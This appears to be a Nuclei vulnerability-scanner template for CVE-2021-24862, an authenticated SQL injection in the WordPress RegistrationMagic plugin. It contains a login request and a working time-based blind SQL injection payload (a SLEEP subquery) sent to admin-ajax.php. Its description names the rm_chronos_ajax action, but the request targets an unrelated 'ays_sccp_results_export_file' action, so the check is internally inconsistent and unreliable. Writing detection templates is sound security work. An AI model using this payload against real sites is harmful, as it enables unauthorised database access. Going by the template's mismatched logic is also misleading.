WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection

id: CVE-2021-24862

info:
  name: WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.
  impact: |
    An authenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version 5.0.1.6.
  reference:
    - https://wpscan.com/vulnerability/7d3af3b5-5548-419d-aa32-1f7b51622615
    - https://wordpress.org/plugins/custom-registration-form-builder-with-submission-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24862
    - http://packetstormsecurity.com/files/165746/WordPress-RegistrationMagic-V-5.0.1.5-SQL-Injection.html
    - https://github.com/ezelnur6327/ezelnur6327
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24862
    cwe-id: CWE-89
    epss-score: 0.71273
    epss-percentile: 0.98052
    cpe: cpe:2.3:a:metagauss:registrationmagic:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: metagauss
    product: registrationmagic
    framework: wordpress
  tags: cve,cve2021,wpscan,wp-plugin,wordpress,wp,registrationmagic,sqli,authenticated,packetstorm,metagauss

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(body_3, "rm_user_role_mananger_form")'
        condition: and
# digest: 4a0a00473045022100e094ec14b2add716b2cc645857d709bbe7216d825cb1b18ce5b7733457860e2c02206859da8890901f7219e49f41586f721cfc4c7b1adfb4768948e8eaf03da4ba26:922c64590222798bb761d5b6d8e72950